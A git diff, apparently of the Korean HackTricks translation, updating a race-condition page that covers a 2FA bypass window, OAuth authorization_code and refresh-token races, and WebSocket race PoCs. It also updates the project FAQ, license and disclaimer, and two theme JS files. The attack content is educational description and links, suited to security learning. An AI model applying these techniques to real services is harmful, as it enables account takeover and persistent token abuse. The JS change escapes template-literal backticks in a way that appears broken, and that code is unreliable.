-이것을 시도하려면 [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction)를 확인하세요.
+**이를 시도하려면** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) **을 확인하세요.**
-### Bypass 2FA
+### 2FA 우회
-The following pseudo-code is vulnerable to race condition because in a very small time the **2FA is not enforced** while the session is created:
+다음 pseudo-code는 세션 생성 중 아주 짧은 시간 동안 **2FA가 적용되지 않는** 경우가 있어 race condition에 취약합니다:
```python
session['userid'] = user.userid
if user.mfa_enabled:
@@ -357,21 +364,21 @@ session['enforce_mfa'] = True
```
### OAuth2 영구 지속성
-There are several [**OAUth providers**](https://en.wikipedia.org/wiki/List_of_OAuth_providers). 이러한 서비스들은 애플리케이션을 생성하고 제공자가 등록한 사용자를 인증할 수 있게 해줍니다. 이를 위해 **client**는 **애플리케이션이** 해당 **OAUth provider** 내부의 일부 데이터에 접근하는 것을 허용해야 합니다.\
-여기까지는 google/linkedin/github 같은 일반적인 로그인으로, "_Application \가 귀하의 정보를 액세스하려 합니다. 허용하시겠습니까?_"라는 페이지가 표시됩니다.
+There are several [**OAUth providers**](https://en.wikipedia.org/wiki/List_of_OAuth_providers). 이러한 서비스는 애플리케이션을 생성하고 해당 provider에 등록된 사용자를 인증할 수 있게 해줍니다. 이를 위해, **client**는 **permit your application**을 통해 **OAUth provider** 내부의 일부 데이터에 접근할 수 있도록 허용받아야 합니다.
+즉, 여기까지는 google/linkedin/github... 등의 일반 로그인과 같으며, "_Application \ wants to access you information, do you want to allow it?_" 라는 페이지가 표시됩니다.
#### Race Condition in `authorization_code`
-문제는 사용자가 이를 **허용**하면 자동으로 **`authorization_code`**가 악성 애플리케이션으로 전송될 때 발생합니다. 이후 이 애플리케이션은 OAUth 서비스 제공자에서 Race Condition을 악용해 해당 계정의 **`authorization_code`**로부터 둘 이상의 AT/RT (_Authentication Token/Refresh Token_)을 생성합니다. 기본적으로 사용자가 애플리케이션의 데이터 접근을 허용했다는 점을 악용해 **여러 계정**을 생성합니다. 그런 다음 사용자가 애플리케이션의 접근 권한을 취소하면 한 쌍의 AT/RT는 삭제되지만, 다른 토큰들은 여전히 유효한 상태로 남아 있을 수 있습니다.
+The **문제**는 당신이 **수락하면** 자동으로 악성 애플리케이션에 **`authorization_code`**를 전송한다는 점에서 발생합니다. 그런 다음, 이 **application abuses a Race Condition in the OAUth service provider to generate more that one AT/RT** (_Authentication Token/Refresh Token_) from the **`authorization_code`** for your account. 기본적으로, 애플리케이션이 당신의 데이터 접근을 허용받은 사실을 악용해 **여러 계정을 생성**합니다. 이후 사용자가 애플리케이션의 데이터 접근을 중지하더라도, 한 쌍의 AT/RT는 삭제되더라도 다른 토큰들은 여전히 유효할 수 있습니다.
#### Race Condition in `Refresh Token`
-유효한 RT를 얻으면 이를 악용해 여러 AT/RT를 생성하려 시도할 수 있으며, 사용자가 악성 애플리케이션의 접근 권한을 취소해도 여러 RT가 여전히 유효한 상태로 남을 수 있습니다.
+한번 유효한 RT를 **obtained a valid RT** 하면, 이를 악용해 여러 AT/RT를 생성할 수 있으며, 사용자가 악성 애플리케이션에 대한 권한을 취소하더라도 여러 RT가 여전히 유효하게 남을 수 있습니다.
## **RC in WebSockets**
-- In [**WS_RaceCondition_PoC**](https://github.com/redrays-io/WS_RaceCondition_PoC) you can find a PoC in Java to send websocket messages in **parallel** to abuse **Race Conditions also in Web Sockets**.
-- With Burp’s WebSocket Turbo Intruder you can use the **THREADED** engine to spawn multiple WS connections and fire payloads in parallel. Start from the official example and tune `config()` (thread count) for concurrency; this is often more reliable than batching on a single connection when racing server‑side state across WS handlers. See [RaceConditionExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/RaceConditionExample.py).
+- In [**WS_RaceCondition_PoC**](https://github.com/redrays-io/WS_RaceCondition_PoC)에서 Java로 웹소켓 메시지를 **parallel**로 전송하여 Web Sockets에서도 **Race Conditions**를 악용하는 PoC를 찾을 수 있습니다.
+- Burp의 WebSocket Turbo Intruder를 사용하면 **THREADED** 엔진으로 여러 WS 연결을 생성하고 페이로드를 병렬로 전송할 수 있습니다. 공식 예제에서 시작하여 동시성을 위해 `config()`(스레드 수)를 조정하세요; WS 핸들러 전반에서 서버 측 상태를 레이스할 때 단일 연결에서 배치하는 것보다 더 신뢰할 수 있는 경우가 많습니다. See [RaceConditionExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/RaceConditionExample.py).
## References
diff --git a/src/welcome/hacktricks-values-and-faq.md b/src/welcome/hacktricks-values-and-faq.md
index ddea6471e..68dd04d7b 100644
--- a/src/welcome/hacktricks-values-and-faq.md
+++ b/src/welcome/hacktricks-values-and-faq.md
@@ -7,15 +7,15 @@
> [!TIP]
> 다음은 **HackTricks 프로젝트의 가치**입니다:
>
-> - 인터넷 전역에 **무료**로 **교육용 hacking** 자료에 접근 권한을 제공합니다.
-> - Hacking은 학습에 관한 것이며, 학습은 가능한 한 무료여야 합니다.
-> - 이 책의 목적은 포괄적인 **교육 자료**로서의 역할을 하는 것입니다.
-> - **저장** 커뮤니티가 공개한 멋진 **hacking** 기법을 보관하며 **원저자**에게 모든 **크레딧**을 부여합니다.
-> - **우리는 타인의 공로를 원하지 않습니다**, 단지 모두를 위해 멋진 트릭을 보관하려 합니다.
-> - HackTricks에는 또한 **자체 연구**도 작성합니다.
-> - 여러 경우 우리는 기법의 중요한 부분을 HackTricks에 **요약**만 작성하고, 더 많은 세부사항은 원문 포스트 방문을 **권장합니다**.
-> - 책에 있는 모든 **hacking** 기법을 **정리**하여 더 **접근하기 쉬운** 형태로 만듭니다.
-> - HackTricks 팀은 사람들이 **더 빨리 학습**할 수 있도록 콘텐츠를 정리하는 데만 수천 시간의 무료 노력을 투입했습니다.
+> - 모든 인터넷 사용자에게 **FREE**로 **EDUCATIONAL hacking** 리소스에 접근 권한을 제공합니다.
+> - Hacking은 학습과 관련이 있으며, 학습은 가능한 한 무료여야 합니다.
+> - 이 책의 목적은 포괄적인 **교육 자료**로서 제공하는 것입니다.
+> - 커뮤니티가 게시한 훌륭한 **hacking** 기술들을 **STORE**하여 **ORIGINAL** **AUTHORS**에게 모든 **credits**를 제공합니다.
+> - **우리는 다른 사람들의 공로를 차지하려는 것이 아닙니다**, 우리는 단지 모두를 위해 멋진 트릭을 저장하고 싶습니다.
+> - 우리는 또한 HackTricks에 **자체 연구**를 작성합니다.
+> - 몇몇 경우에는 HackTricks에 기술의 중요한 부분을 **요약**만 작성하고, 더 자세한 내용을 위해 **독자에게 원본 게시물을 방문하도록 권장**합니다.
+> - 책에 있는 모든 **hacking** 기술을 **ORGANIZE**하여 더 **MORE ACCESSIBLE**하게 만듭니다.
+> - HackTricks 팀은 사람들이 **더 빨리 배울 수 있도록** 콘텐츠 **정리만을 위해** 수천 시간을 무료로 바쳤습니다.
@@ -23,35 +23,35 @@
> [!TIP]
>
-> - **이런 자료들을 정말 감사합니다. 어떻게 감사 인사를 전할 수 있나요?**
+> - **Thank you so much for these resources, how can I thank you?**
-You can publicly thanks HackTricks teams for putting together all these resources publicly in a tweet mentioning [**@hacktricks_live**](https://twitter.com/hacktricks_live).\
-If you are specially grateful you can also [**sponsor the project here**](https://github.com/sponsors/carlospolop).\
-And don't forget to **give a star in the Github projects!** (Find the links below).
+이 모든 리소스를 공개적으로 정리해 준 HackTricks 팀에게 공개적으로 감사를 전하려면 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 멘션한 트윗을 올리세요.\
+특히 감사하다면 [**sponsor the project here**](https://github.com/sponsors/carlospolop)에서 프로젝트를 후원하실 수도 있습니다.\
+그리고 Github 프로젝트에 별(star)을 주세요! (아래 링크 참조)
> [!TIP]
>
-> - **프로젝트에 어떻게 기여할 수 있나요?**
+> - **How can I contribute to the project?**
-You can **share new tips and tricks with the community or fix bugs** you find in the books sending a **Pull Request** to the respective Github pages:
+책에서 찾은 버그를 고치거나 **새로운 팁과 트릭을 커뮤니티와 공유**하려면 해당 Github 페이지로 **Pull Request**를 보내세요:
- [https://github.com/carlospolop/hacktricks](https://github.com/carlospolop/hacktricks)
- [https://github.com/carlospolop/hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)
-Don't forget to **give a star in the Github projects!**
+Github 프로젝트에 별(star)을 주는 것도 잊지 마세요!
> [!TIP]
>
-> - **HackTricks의 일부 콘텐츠를 복사하여 자신의 블로그에 올려도 되나요?**
+> - **Can I copy some content from HackTricks and put it in my blog?**
-Yes, you can, but **don't forget to mention the specific link(s)** where the content was taken from.
+예, 가능합니다. 다만 컨텐츠를 가져온 특정 링크를 반드시 **명시**하세요.
> [!TIP]
>
-> - **HackTricks의 페이지를 어떻게 인용하나요?**
+> - **How can I cite a page of HackTricks?**
정보를 가져온 페이지의 링크가 표시되어 있으면 충분합니다.\
-BibTeX가 필요하다면 다음과 같이 사용할 수 있습니다:
+bibtex가 필요하면 다음과 같은 형식을 사용할 수 있습니다:
```latex
@misc{hacktricks-bibtexing,
author = {"HackTricks Team" or the Authors name of the specific page/trick},
@@ -62,82 +62,82 @@ url = {\url{https://book.hacktricks.wiki/specific-page}},
```
> [!WARNING]
>
-> - **Can I copy all HackTricks in my blog?**
+> - **내 블로그에 HackTricks 전체를 복사해도 되나요?**
-**그렇게 하는 편이 낫지 않습니다**. 그것은 **아무에게도 이득이 되지 않습니다** — 모든 **콘텐츠는 이미 공식 HackTricks 책에 무료로 공개되어 있습니다**.
+**그렇게 하지 않는 편이 좋습니다**. 그것은 **아무에게도 도움이 되지 않습니다**. 모든 **콘텐츠는 이미 공식 HackTricks 책에서 무료로 공개되어 있습니다**.
-만약 그것이 사라질까 두렵다면, Github에서 포크하거나 다운로드하세요. 말씀드렸듯이 이미 무료입니다.
+사라질까 걱정된다면, Github에서 포크하거나 다운로드하세요. 앞서 말했듯 이미 무료입니다.
> [!WARNING]
>
-> - **Why do you have sponsors? Are HackTricks books for commercial purposes?**
+> - **왜 스폰서가 있나요? HackTricks 책은 상업적 목적용인가요?**
-첫 번째 **HackTricks** **가치는** 전 세계 **모두에게** **무료(FREE)** 해킹 교육 자료를 제공하는 것입니다. HackTricks 팀은 이 콘텐츠를 제공하기 위해 **수천 시간**을 바쳤으며, 다시 말하지만 **무료(FREE)** 입니다.
+첫 번째 **HackTricks** **가치**는 전 세계 **모두에게 무료로(FREE)** 해킹 교육 자료를 제공하는 것입니다. HackTricks 팀은 이 콘텐츠를 제공하기 위해 **수천 시간**을 할애했으며, 다시 말하지만 **무료**로 제공합니다.
-만약 HackTricks 책이 **상업적 목적**을 위해 만들어졌다고 생각하신다면, **완전히 오해하신 겁니다**.
+HackTricks 책이 **상업적 목적**을 위해 만들어졌다고 생각하신다면 **완전히 잘못된 생각입니다(COMPLETELY WRONG)**.
-스폰서가 있는 이유는, 모든 콘텐츠가 무료임에도 불구하고 커뮤니티가 원하면 우리의 작업을 **감사할 수 있는 기회**를 제공하고 싶기 때문입니다. 따라서 사람들에게 HackTricks에 기부할 선택지를 제공하며 [**Github sponsors**](https://github.com/sponsors/carlospolop) 를 통해 기부할 수 있고, **관련 사이버보안 회사들**이 HackTricks를 스폰서하고 책에 **광고(ads)** 를 게재할 수 있도록 하고 있습니다. **광고**는 항상 눈에 띄는 곳에 배치되지만, 누군가 콘텐츠에 집중할 때 **학습을 방해하지 않도록** 배치됩니다.
+콘텐츠는 무료지만, 커뮤니티가 우리 작업을 **감사 표시**할 수 있는 선택지를 제공하고 싶기 때문에 스폰서가 있습니다. 따라서 사람들에게 HackTricks에 기부할 수 있는 옵션([**Github sponsors**](https://github.com/sponsors/carlospolop))을 제공하고, **관련 사이버보안 기업들**이 HackTricks를 후원하고 책에 **광고(ads)** 를 게재할 수 있도록 합니다. 광고는 항상 **눈에 띄지만** 학습을 **방해하지 않는** 위치에 배치됩니다.
-HackTricks는 다른 많은 콘텐츠가 적은 블로그들처럼 성가신 광고로 가득하지 않습니다. HackTricks는 상업적 목적을 위해 만들어진 것이 아닙니다.
+HackTricks는 다른 많은 콘텐츠보다 적은 블로그들처럼 성가신 광고로 가득하지 않습니다. HackTricks는 상업적 목적을 위해 만들어지지 않았습니다.
> [!CAUTION]
>
-> - **What should I do if some HackTricks page is based on my blog post but it isn't referenced?**
+> - **HackTricks의 어떤 페이지가 제 블로그 게시물을 기반으로 했는데 출처가 표시되어 있지 않다면 어떻게 해야 하나요?**
-**정말 죄송합니다. 이런 일이 발생해서는 안 됩니다.** Github 이슈, Twitter, Discord 등으로 HackTricks 페이지의 링크와 귀하의 블로그 링크를 알려주시면 **확인 후 가능한 한 빨리 참조를 추가하겠습니다**.
+**정말 죄송합니다. 이런 일이 발생해서는 안 됩니다**. Github issues, Twitter, Discord... 를 통해 해당 HackTricks 페이지 링크와 귀하의 블로그 링크를 알려주시면 **확인하고 가능한 한 빨리 출처를 추가하겠습니다**.
> [!CAUTION]
>
-> - **What should I do if there is content from my blog in HackTricks and I don't want it there?**
+> - **제 블로그의 콘텐츠가 HackTricks에 있는데 이를 원하지 않습니다. 어떻게 해야 하나요?**
-다음 사항을 참고하세요. HackTricks에 귀하의 페이지로의 링크가 있는 경우:
+HackTricks에 귀하의 페이지 링크가 포함되는 것은 다음과 같은 이점이 있습니다:
-- 귀하의 **SEO**가 향상됩니다.
-- 해당 콘텐츠가 **15개 이상의 언어로 번역**되어 더 많은 사람이 접근할 수 있게 됩니다.
-- **HackTricks는** 사람들이 귀하의 페이지를 **확인하도록 권장**합니다 (몇몇 분들은 HackTricks에 자신의 페이지가 포함된 이후 방문자가 늘었다고 알려주셨습니다).
+- 귀하의 **SEO** 향상
+- 콘텐츠가 **15개 이상 언어로 번역**되어 더 많은 사람이 접근 가능
+- **HackTricks는** 사람들이 귀하의 페이지를 **확인하도록 권장**합니다(일부 페이지 소유자들은 HackTricks에 자신들의 페이지가 포함된 이후 방문자가 늘었다고 알려왔습니다)
-그럼에도 불구하고 귀하의 블로그 콘텐츠를 HackTricks에서 제거하고 싶으시다면 알려주십시오. 저희는 확실히 귀하의 블로그로의 **모든 링크를 제거**하고 해당 기반의 모든 콘텐츠를 삭제하겠습니다.
+그럼에도 불구하고 귀하의 블로그 콘텐츠가 HackTricks에서 제거되기를 원하시면 알려주십시오. 우리는 귀하의 블로그에 대한 모든 링크와 그 기반의 모든 콘텐츠를 **확실히 제거**하겠습니다.
> [!CAUTION]
>
-> - **What should I do if I find copy-pasted content in HackTricks?**
+> - **HackTricks에서 복사-붙여넣기된 콘텐츠를 발견하면 어떻게 해야 하나요?**
-저희는 항상 **원저자에게 모든 크레딧을 제공합니다**. 만약 원본 출처 없이 복사-붙여넣기된 콘텐츠를 발견하시면 알려주십시오. 저희는 해당 콘텐츠를 **삭제**하거나, **텍스트 전에 출처 링크를 추가**하거나, **링크를 포함하도록 재작성**하겠습니다.
+우리는 항상 **원저자에게 모든 크레딧을 제공합니다**. 만약 출처 표기가 없는 복사-붙여넣기된 페이지를 발견하시면 알려주십시오. 우리는 해당 페이지를 **제거**, **텍스트 앞에 출처 링크 추가**, 또는 **출처 링크를 포함하여 재작성**할 것입니다.
-## LICENSE
+## 라이선스
-Copyright © All rights reserved unless otherwise specified.
+저작권 © 별도 명시가 없는 한 모든 권리 보유.
-#### License Summary:
+#### 라이선스 요약:
-- Attribution: You are free to:
-- Share — copy and redistribute the material in any medium or format.
-- Adapt — remix, transform, and build upon the material.
+- 저작자 표시(Attribution): 다음을 자유롭게 할 수 있습니다:
+- Share — 자료를 어떤 매체나 형식으로든 복사하고 재배포할 수 있습니다.
+- Adapt — 자료를 리믹스, 변형 및 기반으로 삼아 확장할 수 있습니다.
-#### Additional Terms:
+#### 추가 조건:
-- Third-Party Content: 이 블로그/책의 일부는 다른 블로그나 간행물의 발췌문 등 제3자 출처의 콘텐츠를 포함할 수 있습니다. 이러한 콘텐츠의 사용은 공정 사용(fair use) 원칙에 따라 이루어지거나 해당 저작권 소유자로부터 명시적 허가를 받은 경우가 있습니다. 제3자 콘텐츠에 대한 구체적인 라이선스 정보는 원본 출처를 참조하시기 바랍니다.
-- Authorship: HackTricks가 작성한 원본 콘텐츠는 본 라이선스의 조건을 따릅니다. 공유하거나 수정할 때 저자에게 출처를 표기할 것을 권장합니다.
+- 제3자 콘텐츠(Third-Party Content): 이 블로그/책의 일부는 다른 블로그나 출판물의 발췌와 같은 타 출처의 콘텐츠를 포함할 수 있습니다. 이러한 콘텐츠의 사용은 공정 사용(fair use)의 원칙에 따라 이루어지거나 해당 저작권 소유자의 명시적 허가를 받은 것입니다. 제3자 콘텐츠에 대한 특정 라이선스 정보는 원본 출처를 참조하십시오.
+- 저작권(Autorship): HackTricks가 작성한 원저작 콘텐츠는 본 라이선스의 조건을 따릅니다. 공유하거나 변형할 때 저자를 표시하도록 권장합니다.
-#### Exemptions:
+#### 면제사항:
-- Commercial Use: 본 콘텐츠의 상업적 이용 관련 문의는 저에게 연락해 주십시오.
+- 상업적 이용(Commercial Use): 본 콘텐츠의 상업적 이용에 관한 문의는 저에게 연락해 주십시오.
-이 라이선스는 콘텐츠와 관련된 상표권 또는 브랜딩 권리를 부여하지 않습니다. 이 블로그/책에 표시된 모든 상표 및 브랜딩은 각 소유자의 자산입니다.
+이 라이선스는 콘텐츠와 관련된 상표나 브랜딩 권리를 부여하지 않습니다. 이 블로그/책에 포함된 모든 상표와 브랜딩은 각 소유자의 자산입니다.
-**By accessing or using HackTricks, you agree to abide by the terms of this license. If you do not agree with these terms, please, do not access this website.**
+**HackTricks에 접근하거나 HackTricks를 사용하는 경우, 귀하는 본 라이선스의 조건을 준수하는 데 동의하는 것입니다. 이 조건에 동의하지 않으면 웹사이트에 접근하지 마십시오.**
-## **Disclaimer**
+## **면책조항**
> [!CAUTION]
-> 이 책 'HackTricks'는 교육 및 정보 제공 목적으로만 작성되었습니다. 이 책의 내용은 '있는 그대로(as is)' 제공되며, 저자와 출판사는 이 책에 포함된 정보, 제품, 서비스 또는 관련 그래픽의 완전성, 정확성, 신뢰성, 적합성 또는 가용성에 대해 명시적이거나 암묵적인 어떠한 진술이나 보증도 하지 않습니다. 따라서 해당 정보에 의존하는 모든 행위는 전적으로 귀하의 책임입니다.
+> 이 책 'HackTricks'는 교육적이고 정보 제공 목적을 위해 작성되었습니다. 이 책의 내용은 '있는 그대로(as is)' 제공되며, 저자와 발행인은 정보, 제품, 서비스 또는 관련 그래픽의 완전성, 정확성, 신뢰성, 적합성 또는 가용성에 대해 명시적 또는 묵시적으로 어떠한 진술이나 보증도 하지 않습니다. 따라서 해당 정보에 대한 의존은 전적으로 귀하의 책임입니다.
>
-> 저자와 출판사는 이 책의 사용으로 인해 발생하는 데이터 또는 수익 손실을 포함하되 이에 국한되지 않는 간접적 및 결과적 손해나 어떠한 손해에 대해서도 어떠한 책임도 지지 않습니다.
+> 저자와 발행인은 어떠한 경우에도 데이터 손실이나 이익 손실 등 간접적 또는 결과적 손해를 포함한 손해에 대해 책임을 지지 않습니다.
>
-> 또한 이 책에 설명된 기술 및 팁은 교육 및 정보 제공 목적으로만 제공되며, 불법적이거나 악의적인 활동에 사용되어서는 안 됩니다. 저자와 출판사는 불법적이거나 비윤리적인 활동을 용인하거나 지원하지 않으며, 이 책에 포함된 정보를 사용하는 것은 전적으로 사용자의 책임과 재량에 달려 있습니다.
+> 또한 본 책에 설명된 기술과 팁은 교육 및 정보 제공 목적으로만 제공되며, 불법적이거나 악의적인 활동에 사용해서는 안 됩니다. 저자와 발행인은 어떠한 불법적이거나 비윤리적인 활동도 용납하거나 지지하지 않으며, 본 책의 정보를 사용하는 것은 전적으로 사용자의 책임과 재량입니다.
>
-> 사용자는 이 책에 포함된 정보를 바탕으로 취하는 모든 조치에 대해 단독으로 책임을 지며, 여기에 설명된 기술이나 팁을 구현하려 할 때는 항상 전문가의 조언과 도움을 구해야 합니다.
+> 사용자는 본 책에 포함된 정보를 기반으로 취한 모든 조치에 대해 전적으로 책임을 지며, 기술이나 팁을 구현하려 할 때는 항상 전문가의 조언과 도움을 구해야 합니다.
>
-> 이 책을 사용함으로써 사용자는 저자와 출판자를 이 책 또는 그 안에 포함된 정보의 사용으로 인해 발생할 수 있는 모든 손해, 손실 또는 피해로부터 면책하는 데 동의하는 것입니다.
+> 본 책을 사용함으로써 사용자는 저자와 발행인을 모든 손해, 손실 또는 피해에 대한 책임과 의무로부터 면책하는 데 동의하는 것입니다.
{{#include ../banners/hacktricks-training.md}}
diff --git a/theme/ai.js b/theme/ai.js
index 761454181..22e64f5f8 100644
--- a/theme/ai.js
+++ b/theme/ai.js
@@ -491,3 +491,4 @@
handle.addEventListener("touchstart", onStart, { passive: false });
}
})();
+
diff --git a/theme/ht_searcher.js b/theme/ht_searcher.js
index 77f10f607..6b105f263 100644
--- a/theme/ht_searcher.js
+++ b/theme/ht_searcher.js
@@ -68,11 +68,11 @@
const mainReleaseBase = 'https://github.com/HackTricks-wiki/hacktricks/releases/download';
const cloudReleaseBase = 'https://github.com/HackTricks-wiki/hacktricks-cloud/releases/download';
- const mainTags = Array.from(new Set([`searchindex-${lang}`, 'searchindex-en', 'searchindex-master']));
- const cloudTags = Array.from(new Set([`searchindex-${lang}`, 'searchindex-en', 'searchindex-master']));
+ const mainTags = Array.from(new Set([\`searchindex-\${lang}\`, 'searchindex-en', 'searchindex-master']));
+ const cloudTags = Array.from(new Set([\`searchindex-\${lang}\`, 'searchindex-en', 'searchindex-master']));
- const MAIN_REMOTE_SOURCES = mainTags.map(tag => `${mainReleaseBase}/${tag}/searchindex.js`);
- const CLOUD_REMOTE_SOURCES = cloudTags.map(tag => `${cloudReleaseBase}/${tag}/searchindex.js`);
+ const MAIN_REMOTE_SOURCES = mainTags.map(tag => \`\${mainReleaseBase}/\${tag}/searchindex.js\`);
+ const CLOUD_REMOTE_SOURCES = cloudTags.map(tag => \`\${cloudReleaseBase}/\${tag}/searchindex.js\`);
const indices = [];
const main = await loadWithFallback(MAIN_REMOTE_SOURCES , '/searchindex.js', false); if(main) indices.push(main);
@@ -208,3 +208,4 @@
listOut.classList.toggle('hidden',!docs.length);
};
})();
+